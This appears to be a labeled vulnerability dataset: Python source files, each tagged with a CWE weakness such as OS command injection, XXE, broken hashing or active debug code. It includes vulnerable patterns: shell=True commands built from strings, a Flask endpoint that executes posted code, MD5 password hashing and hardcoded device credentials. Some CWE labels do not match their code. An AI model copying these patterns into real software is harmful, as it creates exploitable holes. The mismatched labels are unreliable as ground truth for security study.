source
stringlengths
349
1.89k
file_name
stringlengths
6
7
cwe
stringclasses
13 values
#!/usr/bin/env python3 # -*- coding: utf-8 -*- from os import environ import numpy as np import sys import subprocess def run(cmd): """ Runs a shell command, and print it before running. """ print(cmd) r = subprocess.call(cmd, shell=True, stdout=sys.stdout, stderr=subprocess.STDOUT, env=environ) if r != 0: logger.critical(r) return # read lect.in # read dates fimages='liste_date_ERA5' dates,bid=np.loadtxt(fimages, comments='#', unpack=True,dtype='i,i') N=len(dates) inlook = 1 outlook = 2 rlook = int(outlook/inlook) for d in dates: #infile = '{}_mdel_{}rlks.unw'.format(d,inlook) infile = '{}_mdel.unw'.format(d,inlook) run("look.pl "+str(infile)+" "+str(rlook))
2195.py
CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
import boto3 from flask import Flask from aws_xray_sdk.core import xray_recorder, patch_all from aws_xray_sdk.ext.flask.middleware import XRayMiddleware from aws_xray_sdk.ext.flask_sqlalchemy.query import XRayFlaskSqlAlchemy import requests import os application = app = Flask(__name__) application.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False application.config["SQLALCHEMY_DATABASE_URI"] = "sqlite:///db.sqlite3" xray_recorder.configure(service='My Flask Web Application') XRayMiddleware(app, xray_recorder) patch_all() db = XRayFlaskSqlAlchemy(app=application) class User(db.Model): __tablename__ = 'users' id = db.Column(db.Integer, primary_key=True) name = db.Column(db.String(255), nullable=False, unique=True) # test http instrumentation @app.route('/outgoing-http-call') def callHTTP(): requests.get("https://aws.amazon.com") return "Ok! tracing outgoing http call" # test aws sdk instrumentation @app.route('/aws-sdk-call') def callAWSSDK(): client = boto3.client('s3') client.list_buckets() return 'Ok! tracing aws sdk call' # test flask-sql alchemy instrumentation @app.route('/flask-sql-alchemy-call') def callSQL(): name = 'sql-alchemy-model' user = User(name=name) db.create_all() db.session.add(user) return 'Ok! tracing sql call' @app.route('/') def default(): return "healthcheck" if __name__ == "__main__": address = os.environ.get('LISTEN_ADDRESS') if address is None: host = '127.0.0.1' port = '5000' else: host, port = address.split(":") app.run(host=host, port=int(port), debug=True)
647.py
CWE-489: Active Debug Code
"""Non-twisted throughput server.""" import socket, signal, sys def signalhandler(*args): print "alarm!" sys.stdout.flush() signal.signal(signal.SIGALRM, signalhandler) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('', 8001)) s.listen(1) while 1: c, (h, p) = s.accept() c.settimeout(30) signal.alarm(5) while 1: d = c.recv(16384) if not d: break c.close()
1486.py
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
# -*- coding: utf-8 -*- ## Licensed under the Apache License, Version 2.0 (the "License"); ## you may not use this file except in compliance with the License. ## You may obtain a copy of the License at ## ## http://www.apache.org/licenses/LICENSE-2.0 ## ## Unless required by applicable law or agreed to in writing, software ## distributed under the License is distributed on an "AS IS" BASIS, ## WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ## See the License for the specific language governing permissions and ## limitations under the License. """Unit test for morph.py """ __author__ = """ rws@uiuc.edu (Richard Sproat) """ import os import sys import xml.sax import unittest import tokens import xmlhandler import morph from __init__ import BASE_ SOURCE_FILE_ = '%s/testdata/morphtest_src.xml' % BASE_ GOLDEN_FILE_ = '%s/testdata/morphtest.xml' % BASE_ TEST_FILE_ = '/tmp/morphtest.xml' def main(output = False): parser = xml.sax.make_parser() handler = xmlhandler.XmlHandler() parser.setContentHandler(handler) parser.parse(SOURCE_FILE_) doclist = handler.DocList() analyzer = morph.PrefixAnalyzer(doclist, 'eng') analyzer.Initialize() analyzer.LabelDoclist() if output: doclist.XmlDump(GOLDEN_FILE_, utf8=True) else: doclist.XmlDump(TEST_FILE_) unittest.TestUnitOutputs(sys.argv[0], GOLDEN_FILE_, TEST_FILE_) if __name__ == '__main__': if len(sys.argv) > 1 and sys.argv[1] == 'generate': main(True) else: main()
2729.py
CWE-611: Improper Restriction of XML External Entity Reference
"""SocketTree extension with export support.""" ### standard library import from xml.etree.ElementTree import Element ### third-party import from pygame.draw import line as draw_line class ExportOperations: """Exporting operations for the socket tree.""" def yield_lines_as_svg(self): """Yield lines as svg elements. Used when representing lines as svg lines when exporting the node graph to a .svg file. """ for parent in self.parents: x1_str, y1_str = map(str, parent.rect.center) for child in parent.children: x2, y2 = child.rect.center yield Element( "line", { "x1": x1_str, "y1": y1_str, "x2": str(x2), "y2": str(y2), "class": parent.svg_class_name, }, ) def draw_lines_on_surf(self, surf): """Draw lines on provided surf. Used when drawing lines on another surface when exporting the node graph to an image file. """ for parent in self.parents: parent_center = parent.rect.center segment_color = parent.line_color for child in parent.children: start, end = (parent_center, child.rect.center) draw_line( surf, segment_color, parent_center, # start child.rect.center, # end 4, # width )
1451.py
CWE-611: Improper Restriction of XML External Entity Reference
#!/usr/bin/env python """Configuration info and support routines for the cvslib.py test suite.""" import os, sys #---- Configuration info # The test workspace root directory. rootDir = 'tmp' repositoryDir = os.path.join(rootDir, 'repository') # CVSROOT _rootAbsDir = os.path.abspath(rootDir) if sys.platform.startswith('win'): _rootAbsDir = os.path.splitdrive(_rootAbsDir)[1] cvsroot = os.path.join(_rootAbsDir, "repository").replace('\\', '/') # Test users. users = { 'andrew': { 'home': os.path.abspath(os.path.join(rootDir, 'andrew')), }, 'bertha': { 'home': os.path.abspath(os.path.join(rootDir, 'bertha')), }, } #---- Support routines def _rmtreeOnError(rmFunction, filePath, excInfo): if excInfo[0] == OSError: # presuming because file is read-only os.chmod(filePath, 0777) rmFunction(filePath) def _rmtree(dirname): import shutil shutil.rmtree(dirname, 0, _rmtreeOnError)
1647.py
CWE-276: Incorrect Default Permissions
import hashlib from time import strftime, gmtime from urllib.parse import urlparse, quote, urlunparse, unquote def current_time(): time_format = "%a, %d %b %Y %H:%M:%S GMT" return strftime(time_format, gmtime()) def url_quote(o): scheme, netloc, path, params, query, fragment = urlparse( o, allow_fragments=False ) path = quote(unquote(path)) o = urlunparse((scheme, netloc, path, params, query, fragment)) return o def should_url_quote(key): should_url_quote_list = ["x-qs-fetch-source"] return key in should_url_quote_list def should_quote(key): should_quote_list = ["x-qs-copy-source", "x-qs-move-source"] return key in should_quote_list def md5_digest(input_str): m = hashlib.md5() m.update(input_str) return m.digest()
1785.py
CWE-327: Use of a Broken or Risky Cryptographic Algorithm
""" Example of parsing an XML file named sample.xml and printing the parsed data to the screen. """ import xml.etree.ElementTree as ET with open('sample.xml') as file: tree = ET.parse(file) root = tree.getroot() for rt in root: testid = rt.attrib['TestId'] testtype = rt.attrib['TestType'] name = rt[0].text cmdline = rt[1].text enput = rt[2].text output = rt[3].text print( '---\n' f'TestId {testid}\n' f'TestType {testtype}\n' f'Name {name}\n' f'CommandLine {cmdline}\n' f'Input {enput}\n' f'Output {output}\n' '---\n')
2719.py
CWE-611: Improper Restriction of XML External Entity Reference
import json import sys from subprocess import check_output import pkg_resources def get_version(): out = check_output("gauge -v --machine-readable",shell=True) data = json.loads(str(out.decode())) for plugin in data['plugins']: if plugin['name'] == 'python': return plugin['version'] return '' def install_getgauge(getgauge_version): install_cmd = [sys.executable, "-m", "pip", "install", getgauge_version, "--user"] if "dev" in getgauge_version: install_cmd.append("--pre") check_output([" ".join(install_cmd)], shell=True) def assert_versions(): python_plugin_version = get_version() if not python_plugin_version: print('The gauge python plugin is not installed!') exit(1) expected_gauge_version = python_plugin_version try: getgauge_version = pkg_resources.get_distribution('getgauge').version if getgauge_version != expected_gauge_version: install_getgauge("getgauge=="+expected_gauge_version) except pkg_resources.DistributionNotFound: install_getgauge("getgauge=="+expected_gauge_version) if __name__ == '__main__': assert_versions()
667.py
CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
#!/usr/bin/env python # Python Network Programming Cookbook, Second Edition -- Chapter - 7 # This program is optimized for Python 2.7.12 and Python 3.5.2. # It may run on any other version with/without modifications. # Supply the Amazon Access and Secret Keys via local_settings.py import argparse import bottlenose from xml.dom import minidom as xml try: from local_settings import amazon_account except ImportError: pass ACCESS_KEY = amazon_account['access_key'] SECRET_KEY = amazon_account['secret_key'] AFFILIATE_ID = amazon_account['affiliate_id'] def search_for_books(tag, index): """Search Amazon for Books """ amazon = bottlenose.Amazon(ACCESS_KEY, SECRET_KEY, AFFILIATE_ID) results = amazon.ItemSearch( SearchIndex = index, Sort = "relevancerank", Keywords = tag ) parsed_result = xml.parseString(results) all_items = [] attrs = ['Title','Author', 'URL'] for item in parsed_result.getElementsByTagName('Item'): parse_item = {} for attr in attrs: parse_item[attr] = "" try: parse_item[attr] = item.getElementsByTagName(attr)[0].childNodes[0].data except: pass all_items.append(parse_item) return all_items if __name__ == '__main__': parser = argparse.ArgumentParser(description='Search info from Amazon') parser.add_argument('--tag', action="store", dest="tag", default='Python') parser.add_argument('--index', action="store", dest="index", default='Books') # parse arguments given_args = parser.parse_args() books = search_for_books(given_args.tag, given_args.index) for book in books: for k,v in book.iteritems(): print ("%s: %s" %(k,v)) print ("-" * 80)
1139.py
CWE-611: Improper Restriction of XML External Entity Reference
# -*- coding: utf-8 -*- import os import tempfile import shelve from datetime import datetime class NoCache(object): """ A simple noop implementation for the cache. Any object implementing the same methods (duck typing) is acceptable as a cache backend. For example, python-memcached is compatible. """ pass def set(self, key, val, ttl=0): pass def get(self, key): return None class ShelveCache(object): """ A cache implementation based on Shelve: https://docs.python.org/2/library/shelve.html. By default, it will be created with "filename" equal to the api domain name. If you want to run 2 processes using the same repository, you need to set a different file name to avoid concurrency problems. """ def __init__(self, filename): self.filename = filename self.db = None def _init_db(self): if self.db is None: cache_dir = os.path.join(tempfile.mkdtemp(), "prismic-cache") if not os.path.exists(cache_dir): os.makedirs(cache_dir) self.db = shelve.open(os.path.join(cache_dir, self.filename)) def set(self, key, val, ttl=0): self._init_db() if type(key) != str: key = key.encode('utf8') self.db[key] = { "val": val, "expire": ShelveCache.unix_time() + ttl } def get(self, key): self._init_db() if type(key) != str: key = key.encode('utf8') if key not in self.db: return None d = self.db[key] if d["expire"] < ShelveCache.unix_time(): del self.db[key] return None else: return d["val"] @staticmethod def unix_time(): epoch = datetime.utcfromtimestamp(0) delta = datetime.now() - epoch return delta.total_seconds()
1179.py
CWE-502: Deserialization of Untrusted Data
#!/usr/bin/env python # -*- coding: utf-8 -*- # Copyright (C) 2017-2022 Pablo Iranzo Gómez <Pablo.Iranzo@gmail.com> import os import re import subprocess import time import setuptools # In python < 2.7.4, a lazy loading of package `pbr` will break # setuptools if some other modules registered functions in `atexit`. # solution from: http://bugs.python.org/issue15881#msg170215 try: import multiprocessing # noqa except ImportError: pass filename = "setup.cfg" regexp = r"\Aversion.*([0-9]+)" line = "" with open(filename, "r") as f: for line in f: if re.match(regexp, line): # Return earlier if match found break version = line.split("=")[1].strip() command = "git tag|sort -V|grep -v ^[a-Z]|grep -v 2017|tail -1" proc = subprocess.Popen([command], stdout=subprocess.PIPE, shell=True) (out, err) = proc.communicate() version = out.strip().decode("utf-8") try: ghversion = os.environ["RELEASE_VERSION"] except: ghversion = None strings = time.strftime("%Y,%m,%d,%H,%M,%S") t = strings.split(",") numbers = [str(x) for x in t] if ghversion: os.environ["PBR_VERSION"] = "%s.%s" % (ghversion, "".join(numbers)) else: os.environ["PBR_VERSION"] = "%s.%s.%s" % (version, 0, "".join(numbers)) setuptools.setup(setup_requires=["pbr>=2.0.0"], pbr=True)
1483.py
CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
import os from hashlib import md5 from yql import YahooToken SECRET = "FDHSJLUREIRPpieruweruwoeirhfsdjf" class TokenStoreError(Exception): """Generic token storage""" pass class BaseTokenStore(object): """Base class for storage""" def set(self, name, token): raise NotImplementedError def get(self, name): raise NotImplementedError class FileTokenStore(BaseTokenStore): """A simple filesystem based token store Note: this is more intended as an example rather than something for heavy duty production usage. """ def __init__(self, dir_path, secret=None): """Initialize token storage""" if not os.path.exists(dir_path): raise TokenStoreError("Path is not valid") self.base_dir = dir_path self.secret = secret or SECRET def get_filepath(self, name): """Build filepath""" filename = md5("%s%s" % (name, self.secret)).hexdigest() filepath = os.path.join(self.base_dir, filename) return filepath def set(self, name, token): """Write a token to file""" if hasattr(token, 'key'): token = YahooToken.to_string(token) if token: filepath = self.get_filepath(name) f_handle = open(filepath, 'w') f_handle.write(token) f_handle.close() def get(self, name): """Get a token from the filesystem""" filepath = self.get_filepath(name) if os.path.exists(filepath): f_handle = open(filepath, 'r') token = f_handle.read() f_handle.close() token = YahooToken.from_string(token) return token
1801.py
CWE-327: Use of a Broken or Risky Cryptographic Algorithm
import sys sys.path.append("../../..") import JeevesLib import hashlib class User: def __init__(self, userId, userName, firstName, lastName, email): self.userId = userId self.userName = userName self.firstName = firstName self.lastName = lastName self.email = email self._passwordDigest = "" def __repr__(self): return "User(%d, %s)" % (self.userId, self.userName) # Labels # Policies ## Password Functions ## def md5(self, string): return hashlib.md5(string).hexdigest() def setPassword(self, password): self._passwordDigest = self.md5(password) def validate(self, password): return self._passwordDigest == self.md5(password) ## Actions ## def submitAssignment(self, assignment, name): pass def createAssignment(self, assignmentname, dueDate, maxPoints, prompt): pass ## Magic Methods ## def __eq__(self, other): if isinstance(other, self.__class__): return self.userId == other.userId and self.userName == other.userName else: return False def __ne__(self, other): return not self.__eq__(other) class Student(User): def __init__(self, userId, userName, firstName, lastName, email): User.__init__(self, userId, userName, firstName, lastName, email) class Instructor(User): def __init__(self, userId, userName, firstName, lastName, email): User.__init__(self, userId, userName, firstName, lastName, email)
666.py
CWE-327: Use of a Broken or Risky Cryptographic Algorithm
import json from xml.dom import minidom def pretty_json(data): """Return a pretty formatted json """ data = json.loads(data.decode('utf-8')) return json.dumps(data, indent=4, sort_keys=True) def pretty_xml(data): """Return a pretty formated xml """ parsed_string = minidom.parseString(data.decode('utf-8')) return parsed_string.toprettyxml(indent='\t', encoding='utf-8') def prettyfy(response, format='json'): """A wrapper for pretty_json and pretty_xml """ if format == 'json': return pretty_json(response.content) else: return pretty_xml(response.content)
2211.py
CWE-611: Improper Restriction of XML External Entity Reference
#!/usr/bin/env python3 from jnpr.junos import Device import xml.etree.ElementTree as ET import pprint dev = Device(host='192.168.24.252', user='juniper', passwd='juniper!') try: dev.open() except Exception as err: print(err) sys.exit(1) result = dev.rpc.get_interface_information(interface_name='em1', terse=True) pprint.pprint(ET.tostring(result)) dev.close()
1138.py
CWE-611: Improper Restriction of XML External Entity Reference
#!/usr/bin/env python3 # -*- coding: utf-8 -*- from os import environ import numpy as np from osgeo import gdal import sys import matplotlib.pyplot as plt import subprocess def run(cmd): """ Runs a shell command, and print it before running. """ print(cmd) r = subprocess.call(cmd, shell=True, stdout=sys.stdout, stderr=subprocess.STDOUT, env=environ) if r != 0: logger.critical(r) return # read lect.in lectfile='lect.in' ncol, nlign = map(int, open(lectfile).readline().split(None, 2)[0:2]) # read dates fimages='list_images.txt' nb,idates,dates,base=np.loadtxt(fimages, comments='#', usecols=(0,1,3,5), unpack=True,dtype='i,i,f,f') # nb images N=len(dates) print('Size expected time series cube: ({0} {1} {2}) '.format(nlign, ncol, N)) imref = 0 inlook = 4 outlook = 4 rlook = int(outlook/inlook) ref = [1788, 1100] maps = np.zeros((nlign,ncol,N)) i=0 for d in idates: infile = '{}_mdel_{}rlks.unw'.format(d,inlook) run("look.pl "+str(infile)+" "+str(rlook)) infile = '{}_mdel_{}rlks.unw'.format(d,outlook) ds = gdal.OpenEx(infile,allowed_drivers=["ROI_PAC"]) band = ds.GetRasterBand(2) print("> Driver: ", ds.GetDriver().ShortName) print("> Size: ", ds.RasterXSize,'x',ds.RasterYSize,'x',ds.RasterCount) print("> Datatype: ", gdal.GetDataTypeName(band.DataType)) print() phi = band.ReadAsArray() maps[:,:,i] = phi[:nlign,:ncol] plt.imshow(maps[:,:,i]) i+=1 # ref to imref cst = np.copy(maps[:,:,imref]) for l in range((N)): # ref in time maps[:,:,l] = maps[:,:,l] - cst # ref in space # maps[:,:,l] = maps[:,:,l] - maps[ref[0],ref[1],l] fid = open('cube_era5', 'wb') maps.flatten().astype('float32').tofile(fid) plt.show()
2194.py
CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
# Copyright (c) 2001-2006 ActiveState Software Inc. # See the file LICENSE.txt for licensing information. import socket def findOpenPort(start, retries): """findOpenPort(9000) => 9002 Return the first open port greater or equal to the specified one.""" test_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) for i in range(retries): port = start+i try: test_socket.bind(('',port)) return port except socket.error: pass raise "Could not find open port from %d to %d." % (start, start + retries)
1487.py
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
#!/usr/bin/env python3 import requests import json url='http://172.16.1.90/ins' switchuser='cisco' switchpassword='cisco' myheaders={'content-type':'application/json-rpc'} payload=[ { "jsonrpc": "2.0", "method": "cli", "params": { "cmd": "interface ethernet 2/12", "version": 1.2 }, "id": 1 }, { "jsonrpc": "2.0", "method": "cli", "params": { "cmd": "description foo-bar", "version": 1.2 }, "id": 2 }, { "jsonrpc": "2.0", "method": "cli", "params": { "cmd": "end", "version": 1.2 }, "id": 3 }, { "jsonrpc": "2.0", "method": "cli", "params": { "cmd": "copy run start", "version": 1.2 }, "id": 4 } ] response = requests.post(url,data=json.dumps(payload), headers=myheaders,auth=(switchuser,switchpassword)).json()
1142.py
CWE-319: Cleartext Transmission of Sensitive Information
from typing import Callable, Optional from ..errors import Errors from ..language import Language from ..util import load_model, registry, logger @registry.callbacks("spacy.copy_from_base_model.v1") def create_copy_from_base_model( tokenizer: Optional[str] = None, vocab: Optional[str] = None, ) -> Callable[[Language], Language]: def copy_from_base_model(nlp): if tokenizer: logger.info("Copying tokenizer from: %s", tokenizer) base_nlp = load_model(tokenizer) if nlp.config["nlp"]["tokenizer"] == base_nlp.config["nlp"]["tokenizer"]: nlp.tokenizer.from_bytes(base_nlp.tokenizer.to_bytes(exclude=["vocab"])) else: raise ValueError( Errors.E872.format( curr_config=nlp.config["nlp"]["tokenizer"], base_config=base_nlp.config["nlp"]["tokenizer"], ) ) if vocab: logger.info("Copying vocab from: %s", vocab) # only reload if the vocab is from a different model if tokenizer != vocab: base_nlp = load_model(vocab) nlp.vocab.from_bytes(base_nlp.vocab.to_bytes()) return copy_from_base_model
230.py
CWE-532: Insertion of Sensitive Information into Log File
#!/usr/bin/env python3 from ncclient import manager import xml.dom.minidom host = "ios-xe-mgmt.cisco.com" username = "root" password = "C!sc0123" port = 10000 yang_file = "cisco_yang_1_interfaces.xml" conn = manager.connect(host=host, port=port, username=username, password=password, hostkey_verify=False, device_params={'name': 'default'}, allow_agent=False, look_for_keys=False) with open(yang_file) as f: output = (conn.get_config('running', f.read())) print(xml.dom.minidom.parseString(output.xml).toprettyxml())
1137.py
CWE-611: Improper Restriction of XML External Entity Reference
import requests import inquirer r = requests.get("http://api.open-notify.org/astros.json", headers={"User-Agent": "Hello"}) data = r.json() astroEmoji = "👨‍🚀" astronauts = data["people"] print(f'There are {data["number"]} astronauts in the space') for people in astronauts: print(f'Name: {people["name"]} {astroEmoji}') print("Hey you! Join us and go in the space!") confirm = { inquirer.Confirm('confirmed', message="Do you want to become an astronaut?", default=True), } confirmation = inquirer.prompt(confirm) if(confirmation["confirmed"]): print('Welcome aboard!!!!') else: print('Oh no :c')
2723.py
CWE-319: Cleartext Transmission of Sensitive Information
# -*- coding: utf-8 -*- import hashlib class MD5(object): def __repr__(self): return '<MD5>' @classmethod def hexdigest(cls, obj): digest = hashlib.md5() if isinstance(obj, (str, int)): digest.update(obj.__class__.__name__) digest.update('%s' % obj) elif isinstance(obj, bool) or obj is None: digest.update(obj.__class__.__name__) elif isinstance(obj, (list, tuple)): digest.update(obj.__class__.__name__) for e in obj: digest.update(cls.hexdigest(e)) elif isinstance(obj, dict): digest.update(obj.__class__.__name__) hexs = [cls.hexdigest([k, v]) for k, v in obj.iteritems()] hexs.sort() for e in hexs: digest.update(e) else: raise TypeError("can't convert %s into String" % obj) return digest.hexdigest()
669.py
CWE-327: Use of a Broken or Risky Cryptographic Algorithm
import math import datetime import sys import os import mathp_eval run = True try: fil = sys.argv[1] except IndexError: run = False if(run): os.system("python3 ./run.py "+fil) exit() d = str(datetime.datetime.today()) print("MathP v1.0.0 Beta 1 [" + d + "]") print("viveklabs inc. Written in Python") print("Type ex() to exit") print("") while(True): try: x = input(".>>") except EOFError: print("") exit() except KeyboardInterrupt: print("") print("MathP Error") print("KeyboardInterruptError: Keyboard Interrupt") continue except TypeError: print("") print("MathP Error") print("SpecialError: No Special characters\n") if(x == "ex()"): exit() try: print(mathp_eval.mathpeval(x)) except SyntaxError: print("MathP Error") print("SyntaxError: Invalid Syntax\n") except ValueError: print("MathP Error") print("StringErrorValue: Use numbers only\n") except NameError: print("MathP Error") print("StringErrorName: Use numbers only\n") except EOFError: exit() except KeyboardInterrupt: print("KeyboardInterruptError: Keyboard Interrupt") except TypeError: print("") print("MathP Error") print("StringErrorType: Use numbers only\n") except ZeroDivisionError: print("") print("MathP Error") print("DivisionByZeroError: Don't divide by zero!")
2814.py
CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
import os.path import web from web import config as cfg from hashlib import sha1 from pycms.utils.render import render_mako render = render_mako( directories=[os.path.join(cfg.template_dir, 'account')], input_encoding='utf-8', output_encoding='utf-8', ) admin_render = render_mako( directories=[os.path.join(cfg.admin_template_dir, 'account'), cfg.admin_template_dir], input_encoding='utf-8', output_encoding='utf-8', ) class LazyUser(object): def __get__(self, obj, objtype): from pycms.account.auth import get_logined_user return get_logined_user() def get_hexdigest(salt, raw_password): return sha1(salt + raw_password).hexdigest() def check_password(raw_password, enc_password): salt, hsh = enc_password.split('$') return hsh == get_hexdigest(salt, raw_password)
2424.py
CWE-327: Use of a Broken or Risky Cryptographic Algorithm
from operator import attrgetter from unittest import TestCase from xml.etree import ElementTree as ET from faker import Faker fake = Faker() class ModelTestCase(TestCase): def assertElementsEquals(self, el, expected_el): # Sort elements by key el[:] = sorted(el, key=attrgetter("tag")) expected_el[:] = sorted(expected_el, key=attrgetter("tag")) # Check if elements are equal self.assertEqual(ET.tostring(el), ET.tostring(expected_el))
2795.py
CWE-611: Improper Restriction of XML External Entity Reference
# Stubs for xml.etree.ElementPath (Python 3.4) from typing import Pattern, Dict, Generator, Tuple, List, Union, TypeVar, Callable, Optional from xml.etree.ElementTree import Element xpath_tokenizer_re = ... # type: Pattern _token = Tuple[str, str] _next = Callable[[], _token] _callback = Callable[['_SelectorContext', List[Element]], Generator[Element, None, None]] def xpath_tokenizer(pattern: str, namespaces: Dict[str, str]=...) -> Generator[_token, None, None]: ... def get_parent_map(context: '_SelectorContext') -> Dict[Element, Element]: ... def prepare_child(next: _next, token: _token) -> _callback: ... def prepare_star(next: _next, token: _token) -> _callback: ... def prepare_self(next: _next, token: _token) -> _callback: ... def prepare_descendant(next: _next, token: _token) -> _callback: ... def prepare_parent(next: _next, token: _token) -> _callback: ... def prepare_predicate(next: _next, token: _token) -> _callback: ... ops = ... # type: Dict[str, Callable[[_next, _token], _callback]] class _SelectorContext: parent_map = ... # type: Dict[Element, Element] root = ... # type: Element def __init__(self, root: Element) -> None: ... _T = TypeVar('_T') def iterfind(elem: Element, path: str, namespaces: Dict[str, str]=...) -> List[Element]: ... def find(elem: Element, path: str, namespaces: Dict[str, str]=...) -> Optional[Element]: ... def findall(elem: Element, path: str, namespaces: Dict[str, str]=...) -> List[Element]: ... def findtext(elem: Element, path: str, default: _T=..., namespaces: Dict[str, str]=...) -> Union[_T, str]: ...
265.py
CWE-611: Improper Restriction of XML External Entity Reference
# -*- coding: utf-8 -*- # <nbformat>3.0</nbformat> # <codecell> import requests import json # <codecell> BASE = 'http://conceptnet5.media.mit.edu/data/5.2' # <codecell> def conceptnet_lookup(uri): return requests.get(BASE + uri).json() # <codecell> for edge in conceptnet_lookup('/c/en/learn')['edges']: print [edge['rel'], edge['start'], edge['end']] # <codecell> conceptnet_lookup('/assoc/list/en/good@1,bad@-1') # <codecell> conceptnet_lookup('/assoc/list/en/good@1,bad@-1?filter=/c/en') # <codecell> conceptnet_lookup('/assoc/list/en/good@-1,bad@1?filter=/c/en') # <codecell> conceptnet_lookup('/assoc/c/en/travel?filter=/c/en') # <codecell>
2139.py
CWE-319: Cleartext Transmission of Sensitive Information
import io import xml.etree.ElementTree as ET DATA = '<html attr1="val1" attr2="val2"><body>foo</body><tag1><tag2>bar</tag2>tail2</tag1>tail1</html>' root = ET.fromstring(DATA) assert isinstance(root, ET.Element) et = ET.parse(io.StringIO(DATA)) assert isinstance(et, ET.ElementTree) root = et.getroot() assert isinstance(root, ET.Element) print(root, root.tag, root.attrib, root[0].tag) assert root.tag == "html" assert root.attrib == {'attr1': 'val1', 'attr2': 'val2'} assert root.text is None assert root.tail is None assert len(root) == 2 t = root[0] assert t.tag == "body" assert t.text == "foo" assert t.tail is None t = root[1] assert t.tag == "tag1" assert t.text is None assert t.tail == "tail1" assert len(t) == 1 t = t[0] assert t.tag == "tag2" assert t.text == "bar" assert t.tail == "tail2" assert len(t) == 0
1162.py
CWE-611: Improper Restriction of XML External Entity Reference
import subprocess import sys print "USAGE: python experiment.py <prefix> <# runs> <config file> [options...]" print print " will generate files of form <prefix>.<configname>.<number>.out" print " where number is 0-<#runs>-1" print " config file has format <name> <python script> <params> on each line" print " and options are common options for each run (e.g., timeout, coverage reporting" prefix = sys.argv[1] repeats = int(sys.argv[2]) configs = sys.argv[3] options = sys.argv[4:] runs = {} for l in open(configs): ls = l.split() runs[ls[0]] = (ls[1], ls[2:]) for i in xrange(0,repeats): for name in runs: out = prefix + "." + name + "." + str(i) + ".out" outf = open(out,'w') print "GENERATING",out (command, params) = runs[name] cmd = "python " cmd += command for p in params: cmd += " " + p for p in options: cmd += " " + p subprocess.call([cmd],shell=True,stdout = outf,stderr = outf) outf.close()
1191.py
CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
from flask import Flask, request from nltk.corpus import brown import subprocess app = Flask(__name__) @app.route("/") def hello(): return ' '.join(brown.words()) def nltktest(): return ' '.join(brown.words()) @app.route('/execute', methods=['POST']) def execute(): with open('runtime.py', 'w') as f: f.write(request.values.get('code')) return subprocess.check_output(["python", "runtime.py"]) app.debug=True
286.py
CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')
from flask import Flask,render_template app = Flask(__name__) @app.route('/') def index(): return render_template('index.html') # * The data that needed to be passed is a list of dictionaries all_posts = [ { 'title':'Post 1', 'content':'This is the content for post 1.', 'author':'Aswnss' }, { 'title':'Post 2', 'content':'This is the content of post 2.' } ] @app.route('/posts') def posts(): # ! Passing data to an html file is done using render_template # TODO render_template('<filename>', <variable_name> = <variabl e>) return render_template('posts.html', posts=all_posts) if __name__ == "__main__": app.run(debug=True)
2810.py
CWE-489: Active Debug Code
#!/usr/bin/env python3 import unittest import subprocess import re import sys import logging import os logging.basicConfig( level=logging.DEBUG, stream=sys.stderr, format="%(levelname)1s:%(filename)10s:%(lineno)3d:%(message)s") INPUTDIR='./inputs/' class BubbleSortTestcase(unittest.TestCase): def my_run(self, hexfile): params = os.path.join(INPUTDIR, hexfile) return subprocess.run('acthex --pluginpath=../plugins --plugin=acthex-testplugin '+params, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, encoding='utf8') def test_persistenceenv(self): hexfile = 'acthex_bubblesort_persistenceenv.hex' proc = self.my_run(hexfile) for line in proc.stderr.split('\n'): logging.debug("E: %s", line.rstrip()) self.assertEqual(proc.stderr, '') lastValue = None for line in proc.stdout.split('\n'): logging.debug("O: %s", line.rstrip()) if line.startswith('Sequence is '): lastValue = line integers = lastValue.split(' ')[2:] logging.debug('integers: '+repr(integers)) self.assertEqual([int(x) for x in integers], [1, 2, 2, 3, 3, 5, 6]) def test_sortenv(self): hexfile = 'acthex_bubblesort_sortenv.hex' proc = self.my_run(hexfile) for line in proc.stderr.split('\n'): logging.debug("E: %s", line.rstrip()) self.assertEqual(proc.stderr, '') lastValue = None for line in proc.stdout.split('\n'): logging.debug("O: %s", line.rstrip()) if line.startswith('Value: '): lastValue = line mos = re.findall(r'\s([0-9]+)', lastValue) logging.debug("mos "+repr(mos)) self.assertEqual([int(x) for x in mos], [1, 2, 2, 3, 3, 5, 6]) if __name__ == '__main__': unittest.main()
2593.py
CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
# -*- coding: utf-8 -*- ## Licensed under the Apache License, Version 2.0 (the "License"); ## you may not use this file except in compliance with the License. ## You may obtain a copy of the License at ## ## http://www.apache.org/licenses/LICENSE-2.0 ## ## Unless required by applicable law or agreed to in writing, software ## distributed under the License is distributed on an "AS IS" BASIS, ## WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ## See the License for the specific language governing permissions and ## limitations under the License. """Unit test for filter class. """ __author__ = """ rws@uiuc.edu (Richard Sproat) hollingk@cslu.ogi.edu (Kristy Hollingshead) """ import os import sys import xml.sax import unittest import xmlhandler import tokens import filter from __init__ import BASE_ SOURCE_FILE_ = '%s/testdata/doctest.xml' % BASE_ GOLDEN_FILE_ = '%s/testdata/doctest_filt.xml' % BASE_ TEST_FILE_ = '/tmp/doctest_filt.xml' def main(output = False): doclist = xmlhandler.XmlHandler().Decode(SOURCE_FILE_) filter_ = filter.FrequencyFilter(doclist) filter_.SetMinCount(2) filter_.Filter() doclist = filter_.Doclist() if output: doclist.XmlDump(GOLDEN_FILE_, utf8 = True) else: doclist.XmlDump(TEST_FILE_, utf8 = True) unittest.TestUnitOutputs(sys.argv[0],\ GOLDEN_FILE_, TEST_FILE_) if __name__ == '__main__': if len(sys.argv) > 1 and sys.argv[1] == 'generate': main(True) else: main()
2727.py
